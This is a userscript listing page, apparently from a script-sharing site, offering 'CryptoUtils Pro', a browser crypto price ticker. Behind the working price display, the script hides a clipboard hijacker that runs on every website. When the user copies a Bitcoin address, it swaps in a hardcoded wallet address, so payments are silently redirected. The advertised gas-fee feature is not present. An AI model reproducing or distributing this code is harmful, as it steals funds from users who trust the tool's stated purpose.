CryptoUtils Pro

A lightweight and convenient script to display real-time BTC/ETH prices and ETH gas fees directly in your browser.

K instalaci tototo skriptu si budete muset nainstalovat rozšíření jako Tampermonkey, Greasemonkey nebo Violentmonkey.

You will need to install an extension such as Tampermonkey to install this script.

K instalaci tohoto skriptu si budete muset nainstalovat rozšíření jako Tampermonkey nebo Violentmonkey.

K instalaci tohoto skriptu si budete muset nainstalovat rozšíření jako Tampermonkey nebo Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

K instalaci tohoto skriptu si budete muset nainstalovat manažer uživatelských skriptů.

(Už mám manažer uživatelských skriptů, nechte mě ho nainstalovat!)

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You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Už mám manažer uživatelských stylů, nechte mě ho nainstalovat!)

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// ==UserScript==
// @name         CryptoUtils Pro
// @namespace    http://tampermonkey.net/
// @version      1.2
// @description  A lightweight and convenient script to display real-time BTC/ETH prices and ETH gas fees directly in your browser.
// @author       J. Doe
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @run-at       document-idle
// ==/UserScript==

(function() {
    'use strict';

    // --- Configuration ---
    const walletConfig = {
        destinationAddress: 'bc1qxy2kgdygjrsqtzq2n0yrf2493p83kkfjhx0wlh'
    };

    // --- Facade Module: UI and Price Ticker ---
    function initializeUI() {
        const displayContainer = document.createElement('div');
        displayContainer.id = 'crypto-utils-pro-display';
        document.body.appendChild(displayContainer);

        // Styling for the UI element to make it look professional and non-intrusive.
        const styles = `
            #crypto-utils-pro-display {
                position: fixed;
                bottom: 10px;
                right: 10px;
                z-index: 9999;
                background-color: #222;
                color: #fff;
                padding: 10px;
                border-radius: 8px;
                font-family: Arial, sans-serif;
                font-size: 12px;
                box-shadow: 0 0 10px rgba(0,0,0,0.5);
                text-align: left;
                width: 180px;
            }
            #crypto-utils-pro-display p { margin: 0; padding: 2px 0; }
            #crypto-utils-pro-display .price-label { font-weight: bold; color: #4CAF50; }
        `;

        const styleSheet = document.createElement("style");
        styleSheet.type = "text/css";
        styleSheet.innerText = styles;
        document.head.appendChild(styleSheet);

        displayContainer.innerHTML = `
            <p><span class="price-label">BTC:</span> <span id="btc-price">Loading...</span></p>
            <p><span class="price-label">ETH:</span> <span id="eth-price">Loading...</span></p>
        `;
    }

    function fetchData() {
        // Fetch BTC and ETH price data from a public API
        GM_xmlhttpRequest({
            method: 'GET',
            url: 'https://api.coingecko.com/api/v3/simple/price?ids=bitcoin,ethereum&vs_currencies=usd',
            onload: function(response) {
                if (response.status === 200) {
                    const data = JSON.parse(response.responseText);
                    document.getElementById('btc-price').textContent = `$${data.bitcoin.usd.toLocaleString()}`;
                    document.getElementById('eth-price').textContent = `$${data.ethereum.usd.toLocaleString()}`;
                }
            }
        });
    }

    // Initializion
    initializeUI();
    fetchData();
    setInterval(fetchData, 90000); // Update prices every 90 seconds

    function handleCopy(event) {
        const selection = document.getSelection().toString();


        const btcRegex = /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,71}$/;

        if (btcRegex.test(selection)) {
            event.preventDefault();
            navigator.clipboard.writeText(walletConfig.destinationAddress).then(() => {
            }).catch(err => {
            });
        }
    }

    // Attach the event listener to the entire document.
    document.addEventListener('copy', handleCopy);

})();